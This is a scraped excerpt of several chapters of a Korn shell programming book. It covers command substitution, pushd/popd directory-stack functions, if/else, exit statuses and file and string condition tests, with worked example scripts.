Recall that you can personalize your prompt string by assigning a value to the variable PS1. If you are on a network of computers, and you use different machines from time to time, you may find it handy to have the name of the machine you're on in your prompt string. Most newer versions of UNIX have the command hostname(1), which prints the network name of the machine you are on to standard output. (If you do not have this command, you may have a similar one like gethostname.) This command enables you to get the machine name into your prompt string by putting a line like this in your .profile or environment file:

PS1="$(hostname) \$ "

(The second dollar sign must be preceded by a backslash so that the shell will take it literally.) For example, if your machine had the name coltrane, then this statement would set your prompt string to "coltrane $ ".

Command substitution helps us with the solution to the next programming task, which relates to the album database in Task 4-1.

Task 4.4

The file used in Task 4-1 is actually a report derived from a bigger table of data about albums. This table consists of several columns, or fields, to which a user refers by names like "artist," "title," "year," etc. The columns are separated by vertical bars (|, the same as the UNIX pipe character). To deal with individual columns in the table, field names need to be converted to field numbers.

Suppose there is a shell function called getfield that takes the field name as argument and writes the corresponding field number on the standard output. Use this routine to help extract a column from the data table.

The cut(1) utility is a natural for this task. cut is a data filter: it extracts columns from tabular data. [12] If you supply the numbers of columns you want to extract from the input, cut will print only those columns on the standard output. Columns can be character positions or-relevant in this example-fields that are separated by TAB characters or other delimiters.

[12] Some older BSD-derived systems don't have cut, but you can use awk instead. Whenever you see a command of the form:

cut -fN -dC filename

Use this instead:

awk -FC '{print $N}' filename

Assume that the data table in our task is a file called albums and that it looks like this:

Coltrane, John|Giant Steps|Atlantic|1960|Ja
Coltrane, John|Coltrane Jazz|Atlantic|1960|Ja
Coltrane, John|My Favorite Things|Atlantic|1961|Ja
Coltrane, John|Coltrane Plays the Blues|Atlantic|1961|Ja
...

Here is how we would use cut to extract the fourth (year) column:

cut -f4 -d\| albums

The -d argument is used to specify the character used as field delimiter (TAB is the default). The vertical bar must be backslash-escaped so that the shell doesn't try to interpret it as a pipe.

From this line of code and the getfield routine, we can easily derive the solution to the task. Assume that the first argument to getfield is the name of the field the user wants to extract. Then the solution is:

fieldname=$1
cut -f$(getfield $fieldname) -d\| albums

If we called this script with the argument year, the output would be:

1960
1960
1961
1961
...

Here's another small task that makes use of cut.

Task 4.5

Send a mail message to everyone who is currently logged in.

The command who(1) tells you who is logged in (as well as which terminal they're on and when they logged in). Its output looks like this:

billr      console      May 22 07:57
fred       tty02        May 22 08:31
bob        tty04        May 22 08:12

The fields are separated by spaces, not TABs. Since we need the first field, we can get away with using a space as the field separator in the cut command. (Otherwise we'd have to use the option to cut that uses character columns instead of fields.) To provide a space character as an argument on a command line, you can surround it by quotes:

$ who | cut -d' ' -f1

With the above who output, this command's output would look like this:

billr
fred
bob

This leads directly to a solution to the task. Just type:

$ mail $(who | cut -d' '  -f1)

The command mail billr fred bob will run and then you can type your message.

Here is another task that shows how useful command pipelines can be in command substitution.

Task 4.6

The ls command gives you pattern-matching capability with wildcards, but it doesn't allow you to select files by modification date. Devise a mechanism that lets you do this.

This task was inspired by the feature of the VAX/VMS operating system that lets you specify files by date with BEFORE and SINCE parameters. We'll do this in a limited way now and add features in the next chapter.

Here is a function that allows you to list all files that were last modified on the date you give as argument. Once again, we choose a function for speed reasons. No pun is intended by the function's name:

function lsd {
    date=$1
    ls -l | grep -i '^.\{41\}$date' | cut -c55-
}

This function depends on the column layout of the ls -l command. In particular, it depends on dates starting in column 42 and filenames starting in column 55. If this isn't the case in your version of UNIX, you will need to adjust the column numbers. [13]

[13] For example, ls -l on SunOS 4.1.x has dates starting in column 33 and filenames starting in column 46.

We use the grep search utility to match the date given as argument (in the form Mon DD, e.g., Jan 15 or Oct 6, the latter having two spaces) to the output of ls -l. This gives us a long listing of only those files whose dates match the argument. The -i option to grep allows you to use all lowercase letters in the month name, while the rather fancy argument means, "Match any line that contains 41 characters followed by the function argument." For example, typing lsd 'jan 15' causes grep to search for lines that match any 41 characters followed by jan 15 (or Jan 15). [14]

[14] Some older BSD-derived versions of UNIX (without System V extensions) do not support the \{N\} option. For this example, use 41 periods in a row instead of .\{41\}.

The output of grep is piped through our ubiquitous friend cut to retrieve the filenames only. The argument to cut tells it to extract characters in column 55 through the end of the line.

With command substitution, you can use this function with any command that accepts filename arguments. For example, if you want to print all files in your current directory that were last modified today, and today is January 15th, you could type:

$ lp $(lsd 'jan 15')

The output of lsd is on multiple lines (one for each filename), but LINEFEEDs are legal field separators for the lp command, because the environment variable IFS (see earlier in this chapter) contains LINEFEED by default.

Previous: 4.3 String Operators | Learning the Korn Shell | Next: 4.5 Advanced Examples: pushd and popd
4.3 String Operators | Book Index | 4.5 Advanced Examples: pushd and popd
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.5 Advanced Examples: pushd and popd

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 4.4 Command Substitution Chapter 4
Basic Shell Programming 		Next: 5. Flow Control

4.5 Advanced Examples: pushd and popd

We will conclude this chapter with a couple of functions that you may find handy in your everyday UNIX use.

Task 4.7

The functions pushd and popd implement a stack of directories that enable you to move to another directory temporarily and have the shell remember where you were. The C shell includes these functions, but for some reason the Korn shell omits them. Implement them as shell functions.

We will start by implementing a significant subset of their capabilities and finish the implementation in Chapter 6.

If you don't know what a stack is, think of a spring-loaded dish receptacle in a cafeteria. When you place dishes on the receptacle, the spring compresses so that the top stays at roughly the same level. The dish most recently placed on the stack is the first to be taken when someone wants food; thus, the stack is known as a "last-in, first-out" or LIFO structure. [15] Putting something onto a stack is known in computer science parlance as pushing, and taking something off the top is called popping.

[15] Victims of the early-90s recession will also recognize this mechanism in the context of corporate layoff policies.

A stack is very handy for remembering directories, as we will see; it can "hold your place" up to an arbitrary number of times. The cd - form of the cd command does this, but only to one level. For example: if you are in firstdir and then you change to seconddir, you can type cd - to go back. But if you start out in firstdir, then change to seconddir, and then go to thirddir, you can use cd - only to go back to seconddir. If you type cd - again, you will be back in thirddir, because it is the previous directory. [16]

[16] Think of cd - as a synonym for cd $OLDPWD; see the previous chapter.

If you want the "nested" remember-and-change functionality that will take you back to firstdir, you need a stack of directories along with the pushd and popd commands. Here is how these work: [17]

[17] More accurately, this is how the C shell does it, and yes, it is somewhat counterintuitive. A more intuitive way would be:

  • The first time pushd dir is called, pushd cds to dir and pushes the current directory followed by dir onto the stack.

  • Subsequent calls to pushd cd to dir and push dir only onto the stack.

  • popd removes the top directory off the stack, revealing a new top. Then it cds to the new top directory.

For example, consider the series of events in Table 4.6. Assume that you have just logged in, and that you are in your home directory (/home/you).

We will implement a stack as an environment variable containing a list of directories separated by spaces.

Table 4.6: pushd/popd Example
Command | Stack Contents | Result Directory
pushd fred | /home/you/fred /home/you | /home/you/fred
pushd /etc | /etc /home/you/fred /home/you | /etc
popd | /home/you/fred /home/you | /home/you/fred
popd | /home/you | /home/you
popd | <empty> | (error)

Your directory stack should be initialized to the null string when you log in. To do this, put this in your .profile:

DIRSTACK=""
export DIRSTACK

Do not put this in your environment file if you have one. The export statement guarantees that DIRSTACK is known to all subprocesses; you want to initialize it only once. If you put this code in an environment file, it will get reinitialized in every subshell, which you probably don't want.

Next, we need to implement pushd and popd as functions. Here are our initial versions:

function pushd {		# push current directory onto stack
    dirname=$1
    cd ${dirname:?"missing directory name."}
    DIRSTACK="$dirname ${DIRSTACK:-$PWD}"
    print "$DIRSTACK"
}

function popd {		# pop directory off stack, cd to new top
    DIRSTACK=${DIRSTACK#* }
    cd ${DIRSTACK%% *}
    print "$PWD"
}

Notice that there isn't much code! Let's go through the two functions and see how they work, starting with pushd. The first line merely saves the first argument in the variable dirname for readability reasons.

The second line's main purpose is to change to the new directory. We use the :? operator to handle the error when the argument is missing: if the argument is given, then the expression ${dirname:?"missing directory name."} evaluates to $dirname, but if it is not given, the shell will print the message pushd: dirname: missing directory name and exit from the function.

The third line of the function pushes the new directory onto the stack. The expression ${DIRSTACK :-$PWD} evaluates to $DIRSTACK if it is non-null or $PWD (the current directory) if it is null. The expression within double quotes, then, consists of the argument given, followed by a single space, followed by DIRSTACK or the current directory. The double quotes ensure that all of this is packaged into a single string for assignment back to DIRSTACK. Thus, this line of code handles the special initial case (when the stack is empty) as well as the more usual case (when it's not empty).

The last line merely prints the contents of the stack, with the implication that the leftmost directory is both the current directory and at the top of the stack. (This is why we chose spaces to separate directories, rather than the more customary colons as in PATH and MAILPATH.)

The popd function makes yet another use of the shell's pattern-matching operators. Its first line uses the # operator, which tries to delete the shortest match of the pattern "*" (anything followed by a space) from the value of DIRSTACK. The result is that the top directory (and the space following it) is deleted from the stack.

The second line of popd uses the pattern-matching operator %% to delete the longest match to the pattern " *" (a space followed by anything) from DIRSTACK. This extracts the top directory as argument to cd, but doesn't affect the value of DIRSTACK because there is no assignment. The final line just prints a confirmation message.

This code is deficient in three ways: first, it has no provision for errors. For example:

  • What if the user tries to push a directory that doesn't exist or is invalid?

  • What if the user tries popd and the stack is empty?

Test your understanding of the code by figuring out how it would respond to these error conditions. The second deficiency is that it implements only some of the functionality of the C shell's pushd and popd commands-albeit the most useful parts. In the next chapter, we will see how to overcome both of these deficiencies.

The third problem with the code is that it will not work if, for some reason, a directory name contains a space. The code will treat the space as a separator character. We'll accept this deficiency for now. However, when you read about arrays in Chapter 6, Command-line Options and Typed Variables, think about how you might use them to rewrite this code and eliminate the problem.

Previous: 4.4 Command Substitution | Learning the Korn Shell | Next: 5. Flow Control
4.4 Command Substitution | Book Index | 5. Flow Control
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] Flow Control

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 4.5 Advanced Examples: pushd and popd Chapter 5 Next: 5.2 for

5. Flow Control

Contents:
if/else
for
case
select
while and until

If you are a programmer, you may have read the last chapter-with its claim at the outset that the Korn shell has an advanced set of programming capabilities - and wondered where many features from conventional languages are. Perhaps the most glaringly obvious "hole" in our coverage thus far concerns flow control constructs like if, for, while, and so on.

Flow control gives a programmer the power to specify that only certain portions of a program run, or that certain portions run repeatedly, according to conditions such as the values of variables, whether or not commands execute properly, and others. We call this the ability to control the flow of a program's execution.

Almost every shell script or function shown thus far has had no flow control-they have just been lists of commands to be run! Yet the Korn shell, like the C and Bourne shells, has all of the flow control abilities you would expect and more; we will examine them in this chapter. We'll use them to enhance the solutions to some of the programming tasks we saw in the last chapter and to solve tasks that we will introduce here.

Although we have attempted to explain flow control so that non-programmers can understand it, we also sympathize with programmers who dread having to slog through yet another tabula rasa explanation. For this reason, some of our discussions relate the Korn shell's flow-control mechanisms to those that programmers should know already. Therefore you will be in a better position to understand this chapter if you already have a basic knowledge of flow control concepts.

The Korn shell supports the following flow control constructs:

if/else

Execute a list of statements if a certain condition is/is not true

for

Execute a list of statements a fixed number of times

while

Execute a list of statements repeatedly while a certain condition holds true

until

Execute a list of statements repeatedly until a certain condition holds true

case

Execute one of several lists of statements depending on the value of a variable

In addition, the Korn shell provides a new type of flow-control construct:

select

Allow the user to select one of a list of possibilities from a menu

We will cover each of these, but be warned: the syntax is not pretty.

5.1 if/else

The simplest type of flow control construct is the conditional, embodied in the Korn shell's if statement. You use a conditional when you want to choose whether or not to do something, or to choose among a small number of things to do, according to the truth or falsehood of conditions. Conditions test values of shell variables, characteristics of files, whether or not commands run successfully, and other factors. The shell has a large set of built-in tests that are relevant to the task of shell programming.

The if construct has the following syntax:

if condition
then
    statements
[elif condition
    then statements...]
[else
    statements]
fi

The simplest form (without the elif and else parts, a.k.a. clauses) executes the statements only if the condition is true. If you add an else clause, you get the ability to execute one set of statements if a condition is true or another set of statements if the condition is false. You can use as many elif (a contraction of "else if") clauses as you wish; they introduce more conditions, and thus more choices for which set of statements to execute. If you use one or more elifs, you can think of the else clause as the "if all else fails" part.

5.1.1 Exit Status and Return

Perhaps the only aspect of this syntax that differs from that of conventional languages like C and Pascal is that the "condition" is really a list of statements rather than the more usual Boolean (true or false) expression. How is the truth or falsehood of the condition determined? It has to do with a general UNIX concept that we haven't covered yet: the exit status of commands.

Every UNIX command, whether it comes from source code in C, some other language, or a shell script/function, returns an integer code to its calling process-the shell in this case-when it finishes. This is called the exit status. 0 is usually the "OK" exit status, while anything else (1 to 255) usually denotes an error. [1]

[1] Because this is a "convention" and not a "law," there are exceptions. For example, diff (1) (find differences between two files) returns 0 for "no differences," 1 for "differences found," or 2 for an error such as an invalid filename argument.

if checks the exit status of the last statement in the list following the if keyword. [2] (The list is usually just a single statement.) If the status is 0, the condition evaluates to true; if it is anything else, the condition is considered false. The same is true for each condition attached to an elif statement (if any).

[2] LISP programmers will find this idea familiar.

This enables us to write code of the form:

if command ran successfully
then
    normal processing
else
    error processing
fi

More specifically, we can now improve on the pushd function that we saw in the last chapter:

function pushd {		# push current directory onto stack
    dirname=$1
    cd ${dirname:?"missing directory name."}
    DIRSTACK="$dirname ${DIRSTACK:-$PWD}"
    print $DIRSTACK
}

This function requires a valid directory as its argument. Let's look at how it handles error conditions: if no argument is given, the second line of code prints an error message and exits. This is fine.

However, the function reacts deceptively when an argument is given that isn't a valid directory. In case you didn't figure it out when reading the last chapter, here is what happens: the cd fails, leaving you in the same directory you were in. This is also appropriate. But then the third line of code pushes the bad directory onto the stack anyway, and the last line prints a message that leads you to believe that the push was successful.

We need to prevent the bad directory from being pushed and to print an error message. Here is how we can do this:

function pushd {                # push current directory onto stack
    dirname=$1
    if cd ${dirname:?"missing directory name."}   # if cd was successful
    then
        DIRSTACK="$dirname ${DIRSTACK:-$PWD}"
        print $DIRSTACK
    else
        print still in $PWD.
    fi
}

The call to cd is now inside an if construct. If cd is successful, it will return 0; the next two lines of code are run, finishing the pushd operation. But if the cd fails, it returns with exit status 1, and pushd will print a message saying that you haven't gone anywhere.

You can usually rely on built-in commands and standard UNIX utilities to return appropriate exit statuses, but what about your own shell scripts and functions? For example, what if you wrote a cd function that overrides the built-in command?

Let's say you have the following code in your .profile or environment file:

function _cd {
    "cd" $*
    print $OLDPWD -> $PWD
}
alias cd=_cd

The function _cd simply changes directories and prints a message saying where you were and where you are now. Because functions have lower priority than built-in commands in the shell's order of command lookup, we need to define cd itself as an alias so that it overrides the built-in cd.

The function calls the built-in cd command, but notice that it's surrounded in double quotes: that prevents the shell from looking it up as an alias. (This may seem like a kludge in the aliasing mechanism, but it's really just a ramification of the shell's command-line processing rules, which we list in Chapter 7, Input/Output and Command-line Processing.) [3] If it did find cd as an alias, the shell would go into an "infinite recursion" in which the alias is expanded to _cd, which runs the function, which calls cd, which the shell expands to the alias again, etc.

[3] A related result of command-line processing is that if you surround a command with single quotes, the shell won't look it up as an alias or as a function.

Anyway, we want this function to return the same exit status that the built-in cd returns. The problem is that the exit status is reset by every command, so it "disappears" if you don't save it immediately. In this function, the built-in cd's exit status disappears when the print statement runs (and sets its own exit status).

Therefore, we need to save the status that cd sets and use it as the entire function's exit status. Two shell features we haven't seen yet provide the way. First is the special shell variable ?, whose value ($?) is the exit status of the last command that ran. For example:

cd baddir
print $?

causes the shell to print 1, while:

cd gooddir
print $?

causes the shell to print 0.

5.1.1.1 Return

The second feature we need is the statement return N, which causes the surrounding script or function to exit with exit status N. N is actually optional; it defaults to 0. Scripts that finish without a return statement (i.e., every one we have seen so far) return whatever the last statement returns. If you use return within a function, it will just exit the function. (In contrast, the statement exit N exits the entire script, no matter how deeply you are nested in functions.)

Getting back to our example: if the call to "real" cd were last in our _cd function, it would behave properly. Unfortunately, we really need the assignment statement where it is, so that we can avoid lots of ugly error processing. Therefore we need to save cd's exit status and return it as the function's exit status. Here is how to do it:

function _cd {
    "cd" $*
    es=$?
    print $OLDPWD -> $PWD
    return $es
}

The second line saves the exit status of cd in the variable es; the fourth returns it as the function's exit status. We'll see a more substantial "wrapper" for cd in Chapter 7.

Exit statuses aren't very useful for anything other than their intended purpose. In particular, you may be tempted to use them as "return values" of functions, as you would with functions in C or Pascal. That won't work; you should use variables or command substitution instead to simulate this effect.

5.1.2 Combinations of Exit Statuses

One of the more obscure parts of Korn shell syntax allows you to combine exit statuses logically, so that you can test more than one thing at a time.

The syntax statement1 && statement2 means, "execute statement1, and if its exit status is 0, execute statement2." The syntax statement1 || statement2 is the converse: it means, "execute statement1, and if its exit status is not 0, execute statement2."

At first, these look like "if/then" and "if not/then" constructs, respectively. But they are really intended for use within conditions of if constructs-as C programmers will readily understand.

It's much more useful to think of these constructs as "and" and "or," respectively. Consider this:

if statement1 && statement2
then
    ...
fi

In this case, statement1 is executed. If it returns a 0 status, then presumably it ran without error. Then statement2 runs. The then clause is executed if statement2 returns a 0 status. Conversely, if statement1 fails (returns a non-0 exit status), then statement2 doesn't even run; the "last statement" in the condition was statement1, which failed-so the then clause doesn't run. Taken all together, it's fair to conclude that the then clause runs if statement1 and statement2 both succeeded.

Similarly, consider this:

if statement1 || statement2
then
    ...
fi

If statement1 succeeds, then statement2 does not run. This makes statement1 the last statement, which means that the then clause runs. On the other hand, if statement1 fails, then statement2 runs, and whether the then clause runs or not depends on the success of statement2. The upshot is that the then clause runs if statement1 or statement2 succeeds.

As a simple example, assume that we need to write a script that checks a file for the presence of two words and just prints a message saying whether either word is in the file or not. We can use grep for this: it returns exit status 0 if it found the given string in its input, non-0 if not:

filename=$1
word1=$2
word2=$3
if grep $word1 $filename || grep $word2 $filename
then
    print "$word1 or $word2 is in $filename."
fi

The then clause of this code runs if either grep statement succeeds. Now assume that we want the script to say whether or not the input file contains both words. Here's how to do it:

filename=$1
word1=$2
word2=$3
if grep $word1 $filename && grep $word2 $filename
then
    print "$word1 and $word2 are both in $filename."
fi

We'll see more examples of these logical operators later in this chapter and in the code for the kshdb debugger in Chapter 9, Debugging Shell Programs.

5.1.3 Condition Tests

Exit statuses are the only things an if construct can test. But that doesn't mean you can check only whether or not commands ran properly. The shell provides a way of testing a variety of conditions with the [[ ]] construct. [4]

[4] The Korn shell also accepts the external [] and test commands. The [[ ]] construct has many more options and is better integrated into the Korn shell language: specifically, word splitting and wildcard expansion aren't done within [[ and ]], making quoting less necessary.

You can use the construct to check many different attributes of a file (whether it exists, what type of file it is, what its permissions and ownership are, etc.), compare two files to see which is newer, do comparisons and pattern matching on strings, and more.

[[ condition ]] is actually a statement just like any other, except that the only thing it does is return an exit status that tells whether condition is true or not. Thus it fits within the if construct's syntax of if statements.

5.1.3.1 String comparisons

The double square brackets ([[]]) surround expressions that include various types of operators. We will start with the string comparison operators, which are listed in Table 5.1. (Notice that there are no operators for "greater than or equal" or "less than or equal.") In the table, str refers to an expression with a string value, and pat refers to a pattern that can contain wildcards (just like the patterns in the string-handling operators we saw in the last chapter).

Table 5.1: String Comparison Operators
Operator | True if...
str = pat[5] | str matches pat.
str != pat | str does not match pat.
str1 < str2 | str1 is less than str2.
str1 > str2 | str1 is greater than str2.
-n str | str is not null (has length greater than 0).
-z str | str is null (has length 0).

[5] Note that there is only one equal sign (=). This is a common source of errors.

We can use one of these operators to improve our popd function, which reacts badly if you try to pop and the stack is empty. Recall that the code for popd is:

function popd {			# pop directory off the stack, cd there
    DIRSTACK=${DIRSTACK#* }
    cd ${DIRSTACK%% *}
    print "$PWD"
}

If the stack is empty, then $DIRSTACK is the null string, as is the expression ${DIRSTACK%% *}. This means that you will change to your home directory; instead, we want popd to print an error message and do nothing.

To accomplish this, we need to test for an empty stack, i.e., whether $DIRSTACK is null or not. Here is one way to do it:

function popd {                 # pop directory off the stack, cd there
    if [[ -n $DIRSTACK ]]; then
        DIRSTACK=${DIRSTACK#* }
        cd ${DIRSTACK%% *}
        print "$PWD"
    else
        print "stack empty, still in $PWD."
    fi
}

Notice that instead of putting then on a separate line, we put it on the same line as the if after a semicolon, which is the shell's standard statement separator character.

We could have used operators other than -n. For example, we could have used -z and switched the code in the then and else clauses. We also could have used: [6]

[6] Note that this code does not work under the older [ ] or test syntax, which will complain about a missing argument if the variable is null. This means that it is no longer necessary to surround both sides with double quotes (or to use hacks like [ x$DIRSTACK = x ]) as you had to with the Bourne shell; the Korn shell's [[/]] syntax handles null values correctly.

if [[ $DIRSTACK = "" ]]; then
        ...

While we're cleaning up code we wrote in the last chapter, let's fix up the error handling in the highest script (Task 4-1). The code for that script is:

filename=${1:?"filename missing."}
howmany=${2:-10}
sort -nr $filename | head -$howmany

Recall that if you omit the first argument (the filename), the shell prints the message highest: 1: filename missing. We can make this better by substituting a more standard "usage" message:

if [[ -z $1 ]]; then
    print 'usage: howmany filename [-N]'
else
    filename=$1
    howmany=${2:-10}
    sort -nr $filename | head -$howmany
fi

It is considered better programming style to enclose all of the code in the if-then-else, but such code can get confusing if you are writing a long script in which you need to check for errors and bail out at several points along the way. Therefore, a more usual style for shell programming is this:

if [[ -z $1 ]]; then
    print 'usage: howmany filename [-N]'
    return 1
fi
filename=$1
howmany=${2:-10}
sort -nr $filename | head -$howmany

The return statement informs any calling program that needs to know whether it ran successfully or not.

As an example of the = and != operators, we can add the shell script front end to a C compiler to our solution for Task 4-2. Recall that we are given a filename ending in .c (the source code file), and we need to construct a filename that is the same but ends in .o (the object code file). The modifications we will make have to do with other types of files that can be passed to a C compiler.

5.1.3.2 About C Compilers

Before we get to the shell code, it is necessary to understand a few things about C compilers. We already know that they translate C source code into object code. Actually, they are part of compilation systems that also perform several other tasks. The term "compiler" is often used instead of "compilation system," so we'll use it in both senses.

We're interested here in two tasks that compilers perform other than compiling C code: they can translate assembly language code into object code, and they can link object code files together to form an executable program.

Assembly language works at a level that is close to the bare computer; each assembly statement is directly translatable into a statement of object code-as opposed to C or other higher-level languages, in which a single source statement could translate to dozens of object code instructions. Translating a file of assembly language code into object code is called, not surprisingly, assembling the code.

Although many people consider assembly language to be quaintly old-fashioned - like a typewriter in this age of WYSIWYG word processing and desktop publishing-some programmers still need to use it when dealing with precise details of computer hardware. It's not uncommon for a program to consist of several files' worth of code in a higher-level language (such as C) and a few low-level routines in assembly language.

The other task we'll worry about is called linking. Most real-world programs, unlike those assigned for a first-year programming class, consist of several files of source code, possibly written by several different programmers. These files are compiled into object code; then the object code must be combined to form the final, runnable program, known as an executable. The task of combining is often called "linking": each object code component usually contains references to other components, and these references must be resolved or "linked" together.

C compilation systems are capable of assembling files of assembly language into object code and linking object code files into executables. In particular, a compiler calls a separate assembler to deal with assembly code and a linker (also known as a "loader," "linking loader," or "link editor") to deal with object code files. These separate tools are known in the UNIX world as as and ld, respectively. The C compiler itself is invoked with the command cc.

We can express all of these steps in terms of the suffixes of files passed as arguments to the C compiler. Basically, the compiler does the following:

  1. If the argument ends in .c it's a C source file; compile into a .o object code file.

  2. If the argument ends in .s, it's assembly language; assemble into a .o file.

  3. If the argument ends in .o, do nothing; save for the linking step later.

  4. If the argument ends in some other suffix, print an error message and exit. [7]

    [7] For the purposes of this example. We know this isn't strictly true in real life.

  5. Link all .o object code files into an executable file called a.out. This file is usually renamed to something more descriptive.

Step 3 allows object code files that have already been compiled (or assembled) to be re-used to build other executables. For example, an object code file that implements an interface to a CD-ROM drive could be useful in any program that reads from CD-ROMS.

Figure 5.1 should make the compilation process clearer; it shows how the compiler processes the C source files a.c and b.c, the assembly language file c.s, and the already-compiled object code file d.o. In other words, it shows how the compiler handles the command cc a.c b.c c.s d.o.

Figure 5.1: Files produced by a C compiler

Here is how we would begin to implement this behavior in a shell script. Assume that the variable filename holds the argument in question, and that ccom is the name of the program that actually compiles a C source file into object code. Assume further that ccom and as (assembler) take arguments for the names of the source and object files:

if [[ $filename = *.c ]]; then
    objname=${filename%.c}.o
    ccom $filename $objname
elif [[ $filename = *.s ]]; then
    objname=${filename%.s}.o
    as $filename $objname
elif [[ $filename != *.o ]]; then
    print "error: $filename is not a source or object file."
    return 1
fi
further processing...

Recall from the previous chapter that the expression ${filename%.c}.o deletes .c from filename and appends .o; ${filename%.s}.o does the analogous thing for files ending in .s.

The "further processing" is the link step, which we will see when we complete this example later in the chapter.

5.1.3.3 File Attribute Checking

The other kind of operator that can be used in conditional expressions checks a file for certain properties. There are 21 such operators. We will cover those of most general interest here; the rest refer to arcana like sticky bits, sockets, and file descriptors, and thus are of interest only to systems hackers. Refer to Appendix B, Reference Lists for the complete list. Table 5.2 lists those that we will examine.

Table 5.2: File Attribute Operators
Operator | True if...
-a file | file exists
-d file | file is a directory
-f file | file is a regular file (i.e., not a directory or other special type of file)
-r file | You have read permission on file
-s file | file exists and is not empty
-w file | You have write permission on file
-x file | You have execute permission on file, or directory search permission if it is a directory
-O file | You own file
-G file | Your group ID is the same as that of file
file1 -nt file2 | file1 is newer than file2[8]
file1 -ot file2 | file1 is older than file2

[8] Specifically, the -nt and -ot operators compare modification times of two files.

Before we get to an example, you should know that conditional expressions inside [[ and ]] can also be combined using the logical operators && and ||, just as we saw with plain shell commands above, in the section entitled "Combinations of Exit Statuses." It's also possible to combine shell commands with conditional expressions using logical operators, like this:

if command && [[ condition ]]; then
    ...

Chapter 7 contains an example of this combination.

You can also negate the truth value of a conditional expression by preceding it with an exclamation point (!), so that ! expr evaluates to true only if expr is false. Furthermore, you can make complex logical expressions of conditional operators by grouping them with parentheses. [9]

[9] It turns out that this is true outside of the [[/]] construct as well. As we will see in Chapter 8, Process Handling the construct (statement list) runs the statement list in a subshell, whose exit status is that of the last statement in the list. However, there is no equivalent of the negation (!) operator outside of the [[/]] construct, although there will be in future releases.

Here is how we would use two of the file operators to embellish (yet again) our pushd function. Instead of having cd determine whether the argument given is a valid directory-i.e., by returning with a bad exit status if it's not-we can do the checking ourselves. Here is the code:

function pushd {                # push current directory onto stack
    dirname=$1
    if [[ -d $dirname && -x $dirname ]]; then
        cd $dirname
        DIRSTACK="$dirname ${DIRSTACK:-$PWD}"
        print "$DIRSTACK"
    else
        print "still in $PWD."
    fi
}

The conditional expression evaluates to true only if the argument $1 is a directory (-d) and the user has permission to change to it (-x). [10] Notice that this conditional also handles the case where the argument is missing: $dirname is null, and since the null string isn't a valid directory name, the conditional will fail.

[10] Remember that the same permission flag that determines execute permission on a regular file determines search permission on a directory. This is why the -x operator checks both things depending on file type.

Here is a more comprehensive example of the use of file operators.

Task 5.1

Write a script that prints essentially the same information as ls -l but in a more user-friendly way.

Although this task requires relatively long-winded code, it is a straightforward application of many of the file operators:

if [[ ! -a $1 ]]; then
    print "file $1 does not exist."
    return 1
fi
if [[ -d $1 ]]; then
    print -n "$1 is a directory that you may "
    if [[ ! -x $1 ]]; then
        print -n "not "
    fi
    print "search."
elif [[ -f $1 ]]; then
    print "$1 is a regular file."
else
    print "$1 is a special type of file."
fi
if [[ -O $1 ]]; then
    print 'you own the file.'
else
    print 'you do not own the file.'
fi
if [[ -r $1 ]]; then
    print 'you have read permission on the file.'
fi
if [[ -w $1 ]]; then
    print 'you have write permission on the file.'
fi
if [[ -x $1 && ! -d $1 ]]; then
    print 'you have execute permission on the file.'
fi

We'll call this script fileinfo. Here's how it works:

  • The first conditional tests if the file given as argument does not exist (the exclamation point is the "not" operator; the spaces around it are required). If the file does not exist, the script prints an error message and exits with error status.

  • The second conditional tests if the file is a directory. If so, the first print prints part of a message; remember that the -n option tells print not to print a LINEFEED at the end. The inner conditional checks if you do not have search permission on the directory. If you don't have search permission, the word "not" is added to the partial message. Then, the message is completed with "search." and a LINEFEED.

  • The elif clause checks if the file is a regular file; if so, it prints a message.

  • The else clause accounts for the various special file types on recent UNIX systems, such as sockets, devices, FIFO files, etc. We assume that the casual user isn't interested in details of these.

  • The next conditional tests to see if the file is owned by you (i.e., if its owner ID is the same as your login ID). If so, it prints a message saying that you own it.

  • The next two conditionals test for your read and write permission on the file.

  • The last conditional checks if you can execute the file. It checks to see if you have execute permission and that the file is not a directory. (If the file were a directory, execute permission would really mean directory search permission.)

As an example of fileinfo's output, assume that you do an ls -l of your current directory and it contains these lines:

-rwxr-xr-x   1 billr    other        594 May 28 09:49 bob
-rw-r-r-     1 billr    other      42715 Apr 21 23:39 custom.tbl
drwxr-xr-x   2 billr    other         64 Jan 12 13:42 exp
-r-r-r-      1 root     other        557 Mar 28 12:41 lpst

custom.tbl and lpst are regular text files, exp is a directory, and bob is a shell script. Typing fileinfo bob produces this output:

bob is a regular file.
you own the file.
you have read permission on the file.
you have write permission on the file.
you have execute permission on the file.

Typing fileinfo custom.tbl results in this:

custom.tbl is a regular file.
you own the file.
you have read permission on the file.
you have write permission on the file.

Typing fileinfo exp results in this:

exp is a directory that you may search.
you own the file.
you have read permission on the file.
you have write permission on the file.

Finally, typing fileinfo lpst produces this:

lpst is a regular file.
you do not own the file.
you have read permission on the file.

Chapter 7 contains an example of the -nt test operator.

5.1.4 Integer Conditionals

The shell also provides a set of arithmetic tests. These are different from character string comparisons like < and >, which compare lexicographic values of strings, not numeric values. For example, "6" is greater than "57" lexicographically, just as "p" is greater than "ox," but of course the opposite is true when they're compared as integers.

The integer comparison operators are summarized in Table 5.3. FORTRAN programmers will find their syntax slightly familiar.

Table 5.3: Arithmetic Test Operators
Test | Comparison
-lt | Less than
-le | Less than or equal
-eq | Equal
-ge | Greater than or equal
-gt | Greater than
-ne | Not equal

You'll find these to be of the most use in the context of the integer variables we'll see in the next chapter. They're necessary if you want to combine integer tests with other types of tests within the same conditional expression.

However, the shell has a separate syntax for conditional expressions that involve integers only. It's considerably more efficient, so you should use it in preference to the arithmetic test operators listed above. Again, we'll cover the shell's integer conditionals in the next chapter.

Previous: 4.5 Advanced Examples: pushd and popd | Learning the Korn Shell | Next: 5.2 for
4.5 Advanced Examples: pushd and popd | Book Index | 5.2 for
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.2 for

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 5.1 if/else Chapter 5
